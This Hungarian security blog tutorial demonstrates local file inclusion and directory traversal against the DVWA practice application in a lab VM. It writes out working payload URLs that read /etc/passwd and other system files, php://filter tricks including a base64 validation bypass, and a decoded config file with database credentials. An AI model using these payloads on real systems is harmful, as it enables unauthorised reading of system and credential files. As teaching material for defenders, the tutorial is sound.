loader
Foto

A file inclusion problémája (LFI)

A file inclusion-nak két verziója van, a távoli, illetve a lokális file inclusion. Mi most ebben a cikkben az LFI-t, azaz a lokális file inclusiont fogjuk bemutatni. Az LFI alkalmazásával a vizsgált webes alkalmazáson keresztül a tárhely operációs rendszerének adott file-ai olvashatók, sőt, akár futtathatók is.

Felhívjuk az Olvasók figyelmét arra, hogy ez a cikk azért született meg, hogy a saját fejlesztésű webes alkalmazások biztonságosabbak legyenek. Nem célunk, és határozottan elzárkózunk attól, hogy segítsünk bárkinek számítógépes bűncselekmények elkövetésében.

A File Inclusion egy biztonsági rés a webes akalmazásokban, amely lehetővé teszi a látogatók/támadók számára a tárhelyen lévő fájlok olvasását, keresését, megjelenítését, sőt, még adott esetben a futtatását is. Ez egy eléggé veszélyes támadási módszer, mert ha a webkiszolgálót rosszul konfigurálták, akkor a támadó érzékeny adatokhoz férhet hozzá. Ennek a támadási módnak a kihasználásához általában igénybe kell venni az ún "Directory Traversal"-t is, amely ebben a cikkben is szerepelni fog.

Két file inclusion létezik, a Local File Inclusion (LFI), illetve a Remote File Inclusion (RFI). Az LFI alkalmazásakor a támadó file-okat olvashat, illetve futtathat a webes alkalmazásnál. Az RFI-nél a támadó olyan kódokat tud futtatni a webes alkalmazásnál, amelyet a tárhely/webes alkalmazás nem is tartalmaz.

Ebben a cikkben az LFI kerül bemutatásra.

Indítsuk el a virtuális gépen telepített DVWA tesztalkalmazásunkat, és jelöljük ki a "Low" biztonsági szintet. Ezután navigáljunk a baloldali menüsor segítségével a következő URL-re (vagy gépeljük be).

http://192.168.56.102/DVWA-master/vulnerabilities/fi/?page=file1.php

 

Ekkor az első php file-t futtattuk, amely kiírja a bejelentkezett felhasználó nevét, illetve az IP címét.

kep
1. ábra   A file1.php futtatása
 

De mi történik akkor, ha nem a "file1.php"-t futtatjuk, hanem megpróbálunk kiolvasni különböző file-ok tartalmát? Az OWASP módszertan több tesztesetből áll, az egyik szolgál arra, hogy megállapítsuk a tárhelyen futó operációs rendszert. Ez már korábban megtörtént (Linux), ezért most a Linux oprációs rendszer felépítését ismerve kipróbálhatók, hogy milyen file-ok tartalma olvashatók ki.
Ehhez alkalmazzuk a "Directory Traversal"-t, de nevezik ezt a módszert Path Traversal-nak is. Ez egy biztonsági rés a webes alkalmazásoknál, amely lehetővé teszi a webes alkalmazást felhasználó számára, hogy megismerje a tárhely operációs rendszerének felépítését, hozzá tudjon férni adott könyvtárakhoz.

Módosítsuk az URL-t következő példa szerint. A "../" segítségével tudunk a könyvtárszerkezetben egyre "mélyebbre" menni. 

http://192.168.56.102/DVWA-master/vulnerabilities/fi/?page=../../phpinfo.php

 

Látható a 2. ábrán, hogy sikerült megtalálni és kiolvasni a phpinfo.php tartalmát.

kep
2. ábra   A phpinfo.php file tartalma a böngészőben
 

Derítsük ki most a tárhelynek az operációs rendszerét, illetve annak a verziószámát, stb. Ehhez a következő file tartalmát kell kiolvasnunk

http://192.168.56.102/DVWA-master/vulnerabilities/fi/?page=../../../../proc/version

 

Sikeres volt a "version" file tartalmának a kiolvasása, a böngészőben megjelenik a keresett adat (3. ábra).

kep
3. ábra   /proc/version file tartalma a böngészőben
 

Nézzük most meg konkrétan a tárhely operációs rendszerének nevét és verzióját. Nézzük meg az "issue" tartalmát, amelyet az "etc" könyvtárban találunk.

http://192.168.56.102/DVWA-master/vulnerabilities/fi/?page=../../../../../etc/issue

 

Megtudtuk a tárhely operációs rendszerének a nevét (4. ábra).

kep
4. ábra   Ubuntu 12.04 LTS az operációs rendszer
 

Nézzük most meg a profile-t, amely szintén az "etc" könyvtárban találunk meg.

http://192.168.56.102/DVWA-master/vulnerabilities/fi/?page=../../../../../etc/profile

 

Sikerült ennek a file-nak is megnézni a tartalmát is (5. ábra)

kep
5. ábra   Az /etc/profile tartalma a böngészőn
 

A Directory Traversal segítségével nézzük végül meg az "etc" köynvtárban található "passwd" file tartalmát. Fontosnak tartjuk megjegyezni azt, hogy itt csak a felhasználók neveit találjuk meg, a jelszavak hash-elt verziói nem itt kerültek elhelyezésre.

http://192.168.56.102/DVWA-master/vulnerabilities/fi/?page=../../../../../etc/passwd

 

Sikerült kiolvasni a felhasználók neveit, ezáltal egy esetleges brute force vizsgálat is kényelmesebbé válik (6. ábra).

kep
6. ábra   Felhasználók nevei
 

Igen ám, de mi a helyzet akkor, amikor nem működik a Directory Traversal? Sikerülnek-e akkor is a korábbi file-ok tartalmának a kiolvasása? Nézzük meg példaként az passwd file-t.

Írjuk be a következő URL-t.

http://192.168.56.102/DVWA-master/vulnerabilities/fi/?page=file:///etc/passwd

 

Ugyanazt az eredményt kapjuk, mint a korábbi módszerrel (7. ábra).

kep
7. ábra   Szintén megjelenítésre kerültek a felhasználók nevei
 

És mi van akkor, ha ez a megoldás is tiltott a szerveroldalon? Próbáljunk ki egy másik tesztesetet, írjuk be a következő URL-t.

http://192.168.56.102/DVWA-master/vulnerabilities/fi/?page=php://filter/resource=/etc/passwd

 

Szintén megkaptuk a felhasználók listáját (8. ábra).

kep
8. ábra   Kilistázzuk újra a felhasználók neveit
 

Végezetül nézzük meg azt, amikor "csak" a base64-es kódolás segít, hiszen a szerveroldalon tiltásra kerültek a korábban alkalmazott speciális karakterek. Alkalmazzuk most a következő linket.

http://192.168.56.102/DVWA-master/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=../../config/config.inc.php

 

Látjuk a fent említett linkben, hogy a config file-t base64-es kódolással érjük el, megkerülve ezáltal a validálás szabályait. A böngészőben megjelenik az eredmény, amely értelmezhetetlen még, mert elkódolásra került (9. ábra).

kep
9. ábra   Az eredmény base64-ben
 

Másoljuk ki a böngészőből a teljes eredményt.

PD9waHANCg0KIyBJZiB5b3UgYXJlIGhhdmluZyBwcm9ibGVtcyBjb25uZWN0aW5nIHRvIHRoZSBNeVNRTCBkYXRhYmFzZSBhbmQgYWxsIG9mIHRoZSB2YXJpYWJsZXMgYmVsb3cgYXJlIGNvcnJlY3QNCiMgdHJ5IGNoYW5naW5nIHRoZSAnZGJfc2VydmVyJyB2YXJpYWJsZSBmcm9tIGxvY2FsaG9zdCB0byAxMjcuMC4wLjEuIEZpeGVzIGEgcHJvYmxlbSBkdWUgdG8gc29ja2V0cy4NCiMgICBUaGFua3MgdG8gQGRpZ2luaW5qYSBmb3IgdGhlIGZpeC4NCg0KIyBEYXRhYmFzZSBtYW5hZ2VtZW50IHN5c3RlbSB0byB1c2UNCiREQk1TID0gJ015U1FMJzsNCiMkREJNUyA9ICdQR1NRTCc7IC8vIEN1cnJlbnRseSBkaXNhYmxlZA0KDQojIERhdGFiYXNlIHZhcmlhYmxlcw0KIyAgIFdBUk5JTkc6IFRoZSBkYXRhYmFzZSBzcGVjaWZpZWQgdW5kZXIgZGJfZGF0YWJhc2UgV0lMTCBCRSBFTlRJUkVMWSBERUxFVEVEIGR1cmluZyBzZXR1cC4NCiMgICBQbGVhc2UgdXNlIGEgZGF0YWJhc2UgZGVkaWNhdGVkIHRvIERWV0EuDQojDQojIElmIHlvdSBhcmUgdXNpbmcgTWFyaWFEQiB0aGVuIHlvdSBjYW5ub3QgdXNlIHJvb3QsIHlvdSBtdXN0IHVzZSBjcmVhdGUgYSBkZWRpY2F0ZWQgRFZXQSB1c2VyLg0KIyAgIFNlZSBSRUFETUUubWQgZm9yIG1vcmUgaW5mb3JtYXRpb24gb24gdGhpcy4NCiRfRFZXQSA9IGFycmF5KCk7DQokX0RWV0FbICdkYl9zZXJ2ZXInIF0gICA9ICcxMjcuMC4wLjEnOw0KJF9EVldBWyAnZGJfZGF0YWJhc2UnIF0gPSAnZHZ3YSc7DQokX0RWV0FbICdkYl91c2VyJyBdICAgICA9ICd0ZXN6dCc7DQokX0RWV0FbICdkYl9wYXNzd29yZCcgXSA9ICdqZWxzem8nOw0KDQojIE9ubHkgdXNlZCB3aXRoIFBvc3RncmVTUUwvUEdTUUwgZGF0YWJhc2Ugc2VsZWN0aW9uLg0KJF9EVldBWyAnZGJfcG9ydCAnXSA9ICc1NDMyJzsNCg0KIyBSZUNBUFRDSEEgc2V0dGluZ3MNCiMgICBVc2VkIGZvciB0aGUgJ0luc2VjdXJlIENBUFRDSEEnIG1vZHVsZQ0KIyAgIFlvdSdsbCBuZWVkIHRvIGdlbmVyYXRlIHlvdXIgb3duIGtleXMgYXQ6IGh0dHBzOi8vd3d3Lmdvb2dsZS5jb20vcmVjYXB0Y2hhL2FkbWluDQokX0RWV0FbICdyZWNhcHRjaGFfcHVibGljX2tleScgXSAgPSAnJzsNCiRfRFZXQVsgJ3JlY2FwdGNoYV9wcml2YXRlX2tleScgXSA9ICcnOw0KDQojIERlZmF1bHQgc2VjdXJpdHkgbGV2ZWwNCiMgICBEZWZhdWx0IHZhbHVlIGZvciB0aGUgc2VjdWlydHkgbGV2ZWwgd2l0aCBlYWNoIHNlc3Npb24uDQojICAgVGhlIGRlZmF1bHQgaXMgJ2ltcG9zc2libGUnLiBZb3UgbWF5IHdpc2ggdG8gc2V0IHRoaXMgdG8gZWl0aGVyICdsb3cnLCAnbWVkaXVtJywgJ2hpZ2gnIG9yIGltcG9zc2libGUnLg0KJF9EVldBWyAnZGVmYXVsdF9zZWN1cml0eV9sZXZlbCcgXSA9ICdpbXBvc3NpYmxlJzsNCg0KIyBEZWZhdWx0IFBIUElEUyBzdGF0dXMNCiMgICBQSFBJRFMgc3RhdHVzIHdpdGggZWFjaCBzZXNzaW9uLg0KIyAgIFRoZSBkZWZhdWx0IGlzICdkaXNhYmxlZCcuIFlvdSBjYW4gc2V0IHRoaXMgdG8gYmUgZWl0aGVyICdlbmFibGVkJyBvciAnZGlzYWJsZWQnLg0KJF9EVldBWyAnZGVmYXVsdF9waHBpZHNfbGV2ZWwnIF0gPSAnZGlzYWJsZWQnOw0KDQojIFZlcmJvc2UgUEhQSURTIG1lc3NhZ2VzDQojICAgRW5hYmxpbmcgdGhpcyB3aWxsIHNob3cgd2h5IHRoZSBXQUYgYmxvY2tlZCB0aGUgcmVxdWVzdCBvbiB0aGUgYmxvY2tlZCByZXF1ZXN0Lg0KIyAgIFRoZSBkZWZhdWx0IGlzICdkaXNhYmxlZCcuIFlvdSBjYW4gc2V0IHRoaXMgdG8gYmUgZWl0aGVyICd0cnVlJyBvciAnZmFsc2UnLg0KJF9EVldBWyAnZGVmYXVsdF9waHBpZHNfdmVyYm9zZScgXSA9ICdmYWxzZSc7DQoNCj8+DQo= 

 

Kódoljuk vissza, és a következő eredményt kapjuk.

<?php

# If you are having problems connecting to the MySQL database and all of the variables below are correct
# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.
#   Thanks to @digininja for the fix.

# Database management system to use
$DBMS = 'MySQL';
#$DBMS = 'PGSQL'; // Currently disabled

# Database variables
#   WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.
#   Please use a database dedicated to DVWA.
#
# If you are using MariaDB then you cannot use root, you must use create a dedicated DVWA user.
#   See README.md for more information on this.
$_DVWA = array();
$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ]     = 'teszt';
$_DVWA[ 'db_password' ] = 'jelszo';

# Only used with PostgreSQL/PGSQL database selection.
$_DVWA[ 'db_port '] = '5432';

# ReCAPTCHA settings
#   Used for the 'Insecure CAPTCHA' module
#   You'll need to generate your own keys at: https://www.google.com/recaptcha/admin
$_DVWA[ 'recaptcha_public_key' ]  = '';
$_DVWA[ 'recaptcha_private_key' ] = '';

# Default security level
#   Default value for the secuirty level with each session.
#   The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'.
$_DVWA[ 'default_security_level' ] = 'impossible';

# Default PHPIDS status
#   PHPIDS status with each session.
#   The default is 'disabled'. You can set this to be either 'enabled' or 'disabled'.
$_DVWA[ 'default_phpids_level' ] = 'disabled';

# Verbose PHPIDS messages
#   Enabling this will show why the WAF blocked the request on the blocked request.
#   The default is 'disabled'. You can set this to be either 'true' or 'false'.
$_DVWA[ 'default_phpids_verbose' ] = 'false';

?>
 

Látható, hogy sikerült kiolvani a vizsgált webs alkalmazás config file-ját, és megtaláljuk benne a különböző érzékeny adatokat.

Még egyszer felhívjuk az Olvasók figyelmét arra, hogy ez a cikk azért született meg, hogy rámutassunk a filefeltöltés sérülékenység veszélyére, és az ellene való védekezés fontosságára. Határozottan elhatárolódunk bármilyen bűncselekmény elkövetésének a segítésében.

Az információs rendszer vagy adat megsértése bűncselekmény (423. §).



Egyéb cikkek

További cikkeink ebben a témakörben

Régebbi cikkeink

Elkezdünk egy sorozatot, amelyhez a Kali Linux használata elengedhetetlen lesz, de természetesen folytatjuk a C# nyelv aszinkron használatának a bemutatását is. Az IT biztonság (amely elég széles területet foglal magába) egyik elengedhetetlen eszköze. . . .

Az nmap (grafikus megjelenítésnél a ZenMap) használata az IT biztonság, illetve az üzemeltetés területén dolgozó szakembereknél szinte elkerülhetetlen. Az ingyenes szoftver segítségével tesztelhetők a számítógépeink, a számítógéphálózatunk, vizsgálha. . . .

A saját informatikai rendszerünk tesztelésénél előfordulhat, hogy meg kell változtatni a MAC címünket. Hogyan tehetjük ezt meg a Kali Linux segítségével? Megnézzük most ezt ebben a cikkben.. . . .